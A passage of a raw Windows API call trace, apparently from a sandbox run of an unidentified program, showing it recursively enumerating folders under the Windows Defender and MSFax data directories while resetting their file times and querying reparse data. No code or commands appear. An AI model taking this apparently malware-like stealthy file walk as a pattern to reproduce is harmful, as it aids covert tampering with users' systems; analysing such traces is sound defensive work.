(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ca98) returned 1 [0092.339] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 0 [0092.339] GetLastError () returned 0x12 [0092.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.340] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.340] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 0 [0092.340] GetLastError () returned 0x12 [0092.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.340] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.341] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0092.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.341] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.342] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.342] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.342] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.343] NtClose (Handle=0x184) returned 0x0 [0092.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.344] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.344] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.344] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x798d48a0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x30ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="")) returned 1 [0092.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8b98 [0092.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ca98 [0092.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.346] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x798d48a0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x30ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="")) returned 0 [0092.346] GetLastError () returned 0x12 [0092.346] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.347] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.347] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.347] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x798d48a0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x30ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="")) returned 1 [0092.347] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x798d48a0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x30ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="")) returned 0 [0092.347] GetLastError () returned 0x12 [0092.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.347] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.348] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0 [0092.348] GetLastError () returned 0x12 [0092.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0092.348] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0092.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.349] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0092.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT" (normalized: "c:\\users\\all users\\microsoft\\windows nt"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.350] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT" (normalized: "c:\\users\\all users\\microsoft\\windows nt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.350] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.351] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.351] NtClose (Handle=0x17c) returned 0x0 [0092.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0092.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0092.352] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0092.352] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.352] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0092.352] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0092.352] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0092.352] GetLastError () returned 0x12 [0092.352] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.353] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0092.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.353] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.354] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.354] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.354] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.355] NtClose (Handle=0x17c) returned 0x0 [0092.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.356] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0092.357] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.357] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="")) returned 1 [0092.357] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="")) returned 1 [0092.357] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1 [0092.357] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1 [0092.357] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="")) returned 1 [0092.357] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="")) returned 1 [0092.357] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="")) returned 0 [0092.358] GetLastError () returned 0x12 [0092.358] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.358] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.358] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.358] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="")) returned 1 [0092.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\activitylog"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, 